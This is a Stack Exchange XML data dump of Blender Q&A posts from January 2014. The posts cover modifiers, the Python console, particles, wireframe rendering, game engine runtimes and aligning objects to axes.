  <row Id="6355" PostTypeId="2" ParentId="6349" CreationDate="2014-01-18T07:28:06.480" Score="1" Body="&lt;p&gt;It appears that your shrinkwrap modifier is not doing what you expect it to is because it is rotate 90 degrees around the X axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The shrinkwrap projection axes seem to use local coordinates, so with the 90 degree rotation the -Z is pointing the same direction as the global +Y.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/a8BQ1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that the shrinkwrap modifier only affects the CV points when used on curves (not the generated geometry).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to affect the geometry, you must convert the curve to a mesh (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;)&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-01-18T07:28:06.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6356" PostTypeId="2" ParentId="6339" CreationDate="2014-01-18T07:59:37.240" Score="1" Body="&lt;p&gt;As &lt;a href=&quot;https://blender.stackexchange.com/questions/6339/commands-from-terminal-arent-working-ubuntu-13-10#comment10119_6339&quot;&gt;mentioned by sambler&lt;/a&gt;, the terminal from which blender is started is not normally used as an interactive python console. (however &lt;a href=&quot;https://blender.stackexchange.com/q/2918/599&quot;&gt;it is possible&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually one uses &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Extensions/Python/Console&quot; rel=&quot;nofollow noreferrer&quot;&gt;the python console built into the GUI&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The python console is an &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Interface/Window_types&quot; rel=&quot;nofollow noreferrer&quot;&gt;editor&lt;/a&gt; just like the 3D view or the text editor, so you can &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Interface/Window_system/Arranging_frames&quot; rel=&quot;nofollow noreferrer&quot;&gt;arrange your screen layout&lt;/a&gt; however you like to incorporate it with your workflow. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LArZz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can even &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Interface/Window_system/Arranging_frames#Opening_new_windows&quot; rel=&quot;nofollow noreferrer&quot;&gt;split an editor into a separate window&lt;/a&gt; (as in the kind handled by the window manager).&lt;br&gt;&#xA;This can be accomplished by pressing &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;LMB&lt;/kbd&gt; on the area splitting corner and dragging, or by selecting the option from the editor areas menu:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qVXKa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6zdL8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you probably still want the terminal from which blender was started open, as any error messages/warnings are printed to stdout and will appear there  (they will not appear in the interface by default, but &lt;a href=&quot;https://blender.stackexchange.com/q/5394/599&quot;&gt;there is a workaround&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2014-01-18T07:59:37.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6357" PostTypeId="1" AcceptedAnswerId="6360" CreationDate="2014-01-18T12:01:04.143" Score="3" ViewCount="542" Body="&lt;p&gt;When appending objects to new .blend file, is it possible to make objects to retain their original layers?&lt;/p&gt;&#xA;" OwnerUserId="2184" LastEditorUserId="599" LastEditDate="2014-01-18T20:09:19.403" LastActivityDate="2014-01-18T20:09:19.403" Title="Is it possible to append objects to the same layer as they are in the source file?" Tags="&lt;append&gt;&lt;layers&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6358" PostTypeId="1" AcceptedAnswerId="6364" CreationDate="2014-01-18T12:26:34.013" Score="3" ViewCount="2823" Body="&lt;p&gt;I'm going to be throwing a mesh into a BEM acoustic simulator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a well-known resonance problem with BEM acoustic simulators --if you test for a frequency that matches one of the resonance modes of the mesh, it goes crazy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a known workaround which involves creating random points inside the mesh, so that's what I would like to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I go about implementing a python script to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming scripting is the best way, please someone correct me if I'm wrong here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: how about picking a random point-pair P Q, intercepting it with the mesh, and if there are exactly 2 points of intersection A and B, then use A + t(B-A) where t is randomly chosen between 0 and 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a closed mesh of a human head and shoulders (so mostly convex), a significant number of points pairs should produce a valid result&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only question is: can I determine the points at which a line hits a mesh?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: mathutils.geometry.intersect_ray_tri from &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_65_5/mathutils.geometry.html&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/documentation/blender_python_api_2_65_5/mathutils.geometry.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: &lt;a href=&quot;http://www.blender.org/documentation/248PythonDoc/Mesh.Mesh-class.html#pointInside&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/documentation/248PythonDoc/Mesh.Mesh-class.html#pointInside&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="1693" LastEditDate="2014-01-19T23:39:11.097" LastActivityDate="2014-01-19T23:39:11.097" Title="Choose 10,000 random points inside mesh" Tags="&lt;python&gt;&lt;mesh&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6359" PostTypeId="2" ParentId="6358" CreationDate="2014-01-18T12:34:58.513" Score="2" Body="&lt;p&gt;There's a utility function to generate random points on faces:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy_extras.mesh_utils&#xA;bpy_extras.mesh_utils.face_random_points(num_points, tessfaces)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Generates a list of random points over mesh tessfaces.&#xA;:arg num_points: the number of random points to generate on each face.&#xA;:type int:&#xA;:arg tessfaces: list of the faces to generate points on.&#xA;:type tessfaces: :class:`bpy.types.MeshTessFace`, sequence&#xA;:return: list of random points over all faces.&#xA;:rtype: list&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Random points &lt;strong&gt;inside&lt;/strong&gt; your mesh is more troublesome, since meshes aren't volume-based (there's not necessarily an inside). You could have a look at the 3D Print Toolbox addon, which is able to determine the volume of a mesh and uses normals and angles for that. You oculd probably use something similar to determine whether a point is inside the mesh or not (as long as the mesh is &quot;solid&quot;).&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-01-18T12:34:58.513" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6360" PostTypeId="2" ParentId="6357" CreationDate="2014-01-18T14:16:51.883" Score="4" Body="&lt;p&gt;When you click append, select all your objects then in the lower left hand corner, there should be an option panel. Untick the &lt;em&gt;Active Layer&lt;/em&gt; option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1Cf2T.png&quot; alt=&quot;active layer&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-01-18T14:16:51.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6361" PostTypeId="1" AcceptedAnswerId="6363" CreationDate="2014-01-18T17:36:52.743" Score="4" ViewCount="1278" Body="&lt;p&gt;I want it to look like the top image when I press &lt;kbd&gt;P&lt;/kbd&gt;, so it has those lines around each face.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Trxa1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oYfxh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2185" LastEditorUserId="599" LastEditDate="2014-01-18T19:45:35.640" LastActivityDate="2016-10-24T20:09:32.033" Title="How can I make an object render with a wireframe in the game engine?" Tags="&lt;game-engine&gt;&lt;wireframe&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6362" PostTypeId="2" ParentId="6348" CreationDate="2014-01-18T18:59:36.583" Score="0" Body="&lt;p&gt;I've found a method which solves my problem, incase anyone else has the same: I seperate each of the bones and place the tail at the same x and z point with a y value greater than the head, then lock the position of the bones and set the roll to 0. This effectively sets the local axes to the same as the global.&lt;/p&gt;&#xA;" OwnerUserId="2181" LastActivityDate="2014-01-18T18:59:36.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6363" PostTypeId="2" ParentId="6361" CreationDate="2014-01-18T19:41:50.970" Score="4" Body="&lt;p&gt;You want to create a wireframe material. A quick 'n' dirty way to do generate a wireframe texture is described below:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Unwrap your model. If you don't know how to do this simply select everything and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt; &amp;gt; &lt;em&gt;Mark Seam&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;U&lt;/kbd&gt; &amp;gt; &lt;em&gt;Unwrap&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open up a UV/Image editor:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r0GlP.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click &lt;em&gt;UVs&lt;/em&gt; &amp;gt; &lt;em&gt;Export UV Layout&lt;/em&gt;. Remember where you save this image.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;O&lt;/kbd&gt; to open a texture, then select the saved image.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Tada!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O1aKn.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;You may want to remove the transparency in an image editor if you want your model to be opaque.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-01-18T19:41:50.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6364" PostTypeId="2" ParentId="6358" CreationDate="2014-01-18T20:00:37.820" Score="6" Body="&lt;p&gt;There is  way to do this without python, using particles.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a particle system and pick &lt;em&gt;volume&lt;/em&gt; and &lt;em&gt;random&lt;/em&gt; as the distribution settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UyfNd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also set the &lt;em&gt;physics&lt;/em&gt; to &lt;em&gt;none&lt;/em&gt; to conserve processing power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll want to set the &lt;em&gt;Number&lt;/em&gt; to &lt;code&gt;10000&lt;/code&gt;, but I don't think the computer I'm currently on will like that :P.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a one-vertex object. The easiest way to do this is by adding a plane and deleting three vertices. After you delete the extra verts, switch back to object mode (&lt;kbd&gt;Tab&lt;/kbd&gt;) and press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;&lt;em&gt;&gt; Origin to geometry&lt;/em&gt; to snap the origin to the single vertex.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Pick your single vertex object as the particle system object in &lt;em&gt;Particles &gt; Render&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UxkA5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With the object with the particle system selected, press &lt;em&gt;Convert&lt;/em&gt; on the particle modifier in the  modifiers tab:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vXlE0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Join the resulting vertices to your object with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt; (everything should already be selected correctly). Remember to remove the particle system, as pressing &lt;em&gt;Convert&lt;/em&gt; does not delete it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/06Fod.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-01-18T20:00:37.820" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6365" PostTypeId="1" AcceptedAnswerId="6418" CreationDate="2014-01-18T20:23:45.333" Score="1" ViewCount="1171" Body="&lt;p&gt;What velocity should I &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bge.types.KX_GameObject.html?highlight=velocity#bge.types.KX_GameObject.setLinearVelocity&quot; rel=&quot;nofollow&quot;&gt;set an object&lt;/a&gt; to in order to have it travel 30 Blender Units in 0.25 seconds.The object will be traveling on its Y local axis. This is being done in python rather than an actuator because I couldn't get the results I needed, and I imagine that there is a specific syntax for velocity.&#xA;This object is being spawned on a click. Then, when its timer property is 0.25 or more, it dies. I need it to travel that exact (or pretty close...no one would notice that much) distance before then.&lt;/p&gt;&#xA;" OwnerUserId="1920" LastEditorUserId="2217" LastEditDate="2014-07-29T14:32:42.877" LastActivityDate="2014-07-29T14:32:42.877" Title="How can I set the linearVelocity so that the object travels a specific distance with python?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6366" PostTypeId="1" CreationDate="2014-01-18T21:20:52.160" Score="1" ViewCount="364" Body="&lt;p&gt;I'm modeling a helmet from a 2D image but can't figure out which way to go about making this crease. I started with a UV sphere and mirrored it then started to drag faces to create the general shape which worked great but as soon as I started on this crease I got stuck.  Any suggestions on if I should start from a different object or how a more experienced modeler might go about doing this would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iz3TV.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="2101" LastActivityDate="2014-01-18T21:35:26.790" Title="Modeling a crease on a helmet" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6367" PostTypeId="2" ParentId="6366" CreationDate="2014-01-18T21:35:26.790" Score="3" Body="&lt;p&gt;You want an edge loop to follow that crease. Something like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/gCxpD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-01-18T21:35:26.790" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6369" PostTypeId="1" AcceptedAnswerId="6376" CreationDate="2014-01-19T00:00:41.463" Score="18" ViewCount="26808" Body="&lt;p&gt;How can I align object edge to one of the axis? For example, if I have a cube rotated 'freely' in the scene with applied rotation -- how can I realign it along x y and z axes again?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;using physics engine comes to mind, but it also sounds like an overkill&lt;/p&gt;&#xA;" OwnerUserId="1311" LastActivityDate="2014-01-19T11:25:12.767" Title="How to align an object by one or two edges to xyz axes?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="6370" PostTypeId="1" CreationDate="2014-01-19T00:15:22.847" Score="3" ViewCount="837" Body="&lt;p&gt;Do game engine runtimes work on all versions of windows? Would it work on Linux and OSX too?  I am assuming it only works on Windows but I would like to know for sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, would it be possible to burn it to a disc?&lt;/p&gt;&#xA;" OwnerUserId="2185" LastEditorUserId="599" LastEditDate="2014-01-19T07:18:16.460" LastActivityDate="2014-06-27T08:58:48.397" Title="Does a game engine runtime work on all operating systems?" Tags="&lt;game-engine&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6371" PostTypeId="1" AcceptedAnswerId="6373" CreationDate="2014-01-19T03:06:03.523" Score="3" ViewCount="1151" Body="&lt;p&gt;I have a scene with two objects: the cube on layer 1 and a cone on layer 2.  Under the Layers tab, I have set just the first layer to be rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Video Sequence Editor, I added added my scene.  However, the preview window shows both layers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2vWUW.png&quot; alt=&quot;VSE showing both layers&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I render, it works fine, just showing the layer 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cWciM.png&quot; alt=&quot;Just layer 1 renders as expected&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to have the preview take into account render layers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Blender 2.69)&lt;/p&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="2217" LastEditDate="2014-05-07T14:06:28.067" LastActivityDate="2014-05-07T14:06:28.067" Title="Preview in Video Sequence Editor doesn't show render layers" Tags="&lt;video-sequence-editor&gt;&lt;render-layers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6372" PostTypeId="2" ParentId="6370" CreationDate="2014-01-19T03:40:38.650" Score="5" Body="&lt;p&gt;No, the output is dependent on the OS that you called it from (&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/FAQ/Game_Engine/Standalone_game&quot; rel=&quot;nofollow&quot;&gt;Blender 2.6 Doc&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you executed make runtime on Windows, then the output is a Windows executable (and various DLL files). This package will only work on Windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running the same function on the Mac will give you a Mac .app file, etc.&lt;/p&gt;&#xA;" OwnerUserId="41" LastEditorUserId="1725" LastEditDate="2014-01-19T07:49:37.697" LastActivityDate="2014-01-19T07:49:37.697" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6373" PostTypeId="2" ParentId="6371" CreationDate="2014-01-19T03:42:36.723" Score="3" Body="&lt;p&gt;It actually is taking the render layers into consideration, you have &lt;em&gt;OpenGL Preview&lt;/em&gt; enabled so it is using that to give you a realtime viewport render which apparently takes all layers into consideration it seems, press &lt;kbd&gt;N&lt;/kbd&gt; to bring up the view properties and untick it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vTAzl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2014-01-19T03:42:36.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6376" PostTypeId="2" ParentId="6369" CreationDate="2014-01-19T05:23:09.270" Score="21" Body="&lt;p&gt;I think you can do it by tricks like parenting, constraint, snapping, addon, and scripting.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Method 1 (parenting):&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the edge you want to align;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Numpad 7&lt;/kbd&gt; to align view to selected edge;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; &gt; Cursor to Selected;&lt;/li&gt;&#xA;&lt;li&gt;Switch to &lt;strong&gt;Object&lt;/strong&gt; mode, &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; to add an empty, &lt;kbd&gt;F6&lt;/kbd&gt;, toggle &lt;strong&gt;Align to View&lt;/strong&gt;, set it as parent to that object;&lt;/li&gt;&#xA;&lt;li&gt;Select the empty, &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt;;&lt;/li&gt;&#xA;&lt;li&gt;Select your object, &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; &gt; Clear and Keep Transformation. Then delete the empty.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Method 2 (constraint):&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;(as method 1)&lt;/li&gt;&#xA;&lt;li&gt;(as method 1)&lt;/li&gt;&#xA;&lt;li&gt;(as method 1)&lt;/li&gt;&#xA;&lt;li&gt;(as method 1)&lt;/li&gt;&#xA;&lt;li&gt;Add another empty, add a &lt;strong&gt;Copy Rotation&lt;/strong&gt; constraint to it, select the first empty as &lt;em&gt;Target&lt;/em&gt;, leave other settings as default;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; &gt; Apply visual Transform, then delete the other two empties.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Method 3 (snapping):&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select one vertex on the edge you want to align;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; &gt; Cursor to Selected;&lt;/li&gt;&#xA;&lt;li&gt;Switch to &lt;strong&gt;Object&lt;/strong&gt; mode, &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; to add a new empty, then move it for a certain distance along the expected axis;&lt;/li&gt;&#xA;&lt;li&gt;Select all vertices of your object in &lt;strong&gt;Edit&lt;/strong&gt; mode, with another vertex on that edge active (NOT the one in Step 1). Enable &lt;strong&gt;Snap&lt;/strong&gt; mode on 3D View header, set &lt;em&gt;Snap Element&lt;/em&gt; to &lt;strong&gt;Vertex&lt;/strong&gt;, and make sure the &lt;em&gt;Snap Target&lt;/em&gt; is set to &lt;strong&gt;Active&lt;/strong&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Q&lt;/kbd&gt; to toggle Quad View, switch &lt;em&gt;Pivot Point&lt;/em&gt; to &lt;strong&gt;3D Cursor&lt;/strong&gt;, snap the active vertex to the empty in two of the three Ortho views individually (it may depends on the actual case). Then delete that empty.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Method 4 (addon):&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Luckily there is an addon called &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/Precise_Align&quot;&gt;Precise Align&lt;/a&gt; (the latest version is 1.1), which can well handle this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select one face that includes the edge you want to align;&lt;/li&gt;&#xA;&lt;li&gt;Find &lt;strong&gt;Precise Align&lt;/strong&gt; tool panel in the toolbar, click &lt;strong&gt;Create Empty&lt;/strong&gt; button, click &lt;strong&gt;Swap Empty Origin&lt;/strong&gt; if it is not aligned with the expected edge. Make sure &lt;strong&gt;Parent to Object&lt;/strong&gt; is toggled;&lt;/li&gt;&#xA;&lt;li&gt;Back to &lt;strong&gt;Object&lt;/strong&gt; mode, select that empty, &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt;;&lt;/li&gt;&#xA;&lt;li&gt;Select your object, &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; &gt; Clear and Keep Transformation. Then delete the empty.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Method 5 (scripting):&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Actually, I'm not good at scripting, but I'm sure it can be done. Welcome anyone that can complement with the scripting solution here. :)&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-01-19T11:25:12.767" LastActivityDate="2014-01-19T11:25:12.767" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6377" PostTypeId="1" AcceptedAnswerId="14746" CreationDate="2014-01-19T12:03:41.847" Score="9" ViewCount="4064" Body="&lt;p&gt;How to get coordinates of corners of camera border in camera view relative to the viewport area&lt;img src=&quot;https://i.stack.imgur.com/a1vZx.png&quot; alt=&quot;enter image description here&quot;&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After checking&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;print('-----')&#xA;print()&#xA;print()&#xA;for a in bpy.context.screen.areas:&#xA;    if a.type == 'VIEW_3D':&#xA;        for s in a.spaces:&#xA;            print(s)&#xA;            for d in dir(s):&#xA;                print(d)&#xA;print('-----')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have no idea how to find out where I can get this&lt;/p&gt;&#xA;" OwnerUserId="2189" LastEditorUserId="2189" LastEditDate="2014-01-19T14:21:17.487" LastActivityDate="2020-07-04T08:57:46.967" Title="Coordinates of corners of camera view border" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="12" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="6378" PostTypeId="1" AcceptedAnswerId="6380" CreationDate="2014-01-19T12:26:16.050" Score="2" ViewCount="1036" Body="&lt;p&gt;&lt;br&gt;&#xA;I'm making an exporter for Blender to Metasequoia. (the import while come later)&lt;br&gt;&#xA;Metasequoia 3d file are compatible with modifier like mirror and subdivision surface&lt;br&gt;&#xA;I really don't want to apply them if it's possible&lt;br&gt;&#xA;I found nothing about it in google or blender API&lt;br&gt;&#xA;go see what I've done so far &lt;a href=&quot;https://github.com/50thomatoes50/blender.io_mqo&quot; rel=&quot;nofollow&quot;&gt;https://github.com/50thomatoes50/blender.io_mqo&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2030" LastActivityDate="2014-01-20T00:32:30.057" Title="Export modifier, not apply" Tags="&lt;python&gt;&lt;modifiers&gt;&lt;export&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
